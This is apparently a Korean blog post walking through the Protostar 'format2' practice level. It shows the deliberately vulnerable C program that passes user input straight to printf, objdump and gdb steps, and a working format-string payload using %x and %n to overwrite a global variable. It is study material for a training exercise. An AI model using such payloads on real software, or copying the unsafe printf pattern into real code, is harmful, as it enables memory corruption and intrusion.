프로토스타

[프로토스타] format2

-dP- 2019. 1. 22. 16:55

format2.c


#include <stdlib.h> #include <unistd.h> #include <stdio.h> #include <string.h> int target; void vuln() { char buffer[512]; fgets(buffer, sizeof(buffer), stdin); printf(buffer); if(target == 64) { printf("you have modified the target :)\n"); } else { printf("target is %d :(\n", target); } } int main(int argc, char **argv) { vuln(); }



출처: http://liveoverflow.com/binary_hacking/protostar/format2.html



1. 문제해결 및 분석



1-1. target 확인





target의 위치 확인



objdump -t ./format2 | grep target




gdb ./format2




disas vuln




1-2. echo로 코딩





echo $(python -c "print 'AAAA'+ '\xe4\x96\x04\x08' + '%x.' * 3 + '%4x.' + '%n.' + '%x.' * 5") | ./format2 



32비트니까 1~8까지 target은 39비트다.




9일 때 40이니까 64까지 가려면 24를 더해야한다




즉 9+24 = 33




1-3. format0과 format1의 개념적용







format0과 format1의 개념을 적용하여 해결 완료



참고 자료: https://www.inflearn.com/course/%ED%94%84%EB%A1%9C%ED%86%A0%EC%8A%A4%ED%83%80/





피드백 환영입니다!


'프로토스타' 카테고리의 다른 글

[프로토스타] format4  (0) 2019.01.23
[프로토스타] format3  (0) 2019.01.23
[프로토스타] format1  (0) 2019.01.22
[프로토스타] format0  (0) 2019.01.18
[프로토스타] stack7-2 (ROP)  (0) 2019.01.18